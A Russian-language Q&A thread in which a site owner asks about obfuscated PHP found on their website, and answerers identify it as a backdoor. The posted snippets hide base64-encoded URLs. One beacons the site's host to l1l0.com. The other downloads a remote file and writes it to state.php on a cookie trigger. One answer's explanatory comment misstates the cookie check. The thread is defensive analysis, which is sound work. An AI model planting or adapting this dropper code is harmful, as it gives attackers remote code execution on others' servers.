Не могу разобраться код php?

Question

[Антон]

if (!isset($_COOKIE[base64_decode('X3ltX2l1cw==') ]))
	{
	@file_get_contents(base64_decode('aHR0cDovL2wxbDAuY29tL3Av') . $_SERVER['HTTP_HOST']);
	@setcookie(base64_decode('X3ltX2l1cw==') , 1, time() + 31536000, '/', $_SERVER['HTTP_HOST']);
	}

Приветствую, пожалуйста опишите подробно что делает этот кусок кода? Как я понял какая-то операция с куками, но что именно? Этот код замедляет работу сайта.

Answer 1

[Dmitry]

Бэкдор

Подробности есть в похожем вопросе Php код на сайте?

Comments

[Антон]

Спасибо, так и догадывался...

[Adamos]

Антон, хреново же вы догадывались, раз выложили только безобидную часть кода.

[Антон]

Adamos, В том то и дело что хреново догадывались)))

[Антон]

Adamos,

if (isset($_COOKIE[base64_decode('cmVkNHU=') ]))
	{
	@file_put_contents(base64_decode('c3RhdGUucGhw') , @file_get_contents(base64_decode('aHR0cDovL2wxbDAuY29tL2QudHh0')));
	}

Вот еще часть ниже

[Adamos]

Антон, да уж очевидно, что если у вас та же зараза, что по ссылке, то вам не пол-заразы закинули...

[Антон]

Adamos, что еще проверить можно? state.php я не нашел в директориях, его нет.

[Adamos]

Антон, путь, которым в файлы попало ЭТО. state - это последствия, вам же надо устранить причину.

[Антон]

Adamos, путь это наверное просто скрипт в таком виде был выложен, но лучше все проверить...

Answer 2

[Adamos]

Если не установлена кука с именем "_ym_ius",
дернуть ссылку http: //l1l0.com/p/{адрес сайта}
и установить эту куку, чтобы не дергать этот сайт еще некоторое время (365 дней, если быть точным)

Comments

[Антон]

Спасибо похоже бекдор

Answer 3

[ixon]

//В случае, если у пользователя установлена Cookie с названием "_ym_ius" (в кодировке base64 это 'X3ltX2l1cw==')
if (!isset($_COOKIE[base64_decode('X3ltX2l1cw==') ])) 
  {
   // Получаем содержимое файла http://l1l0.com/p/+"Адрес сайта"
  @file_get_contents(base64_decode('aHR0cDovL2wxbDAuY29tL3Av') . $_SERVER['HTTP_HOST']);
   // Устанавливаем Cookie с названием "_ym_ius" и значением 1. 
  @setcookie(base64_decode('X3ltX2l1cw==') , 1, time() + 31536000, '/', $_SERVER['HTTP_HOST']);
  }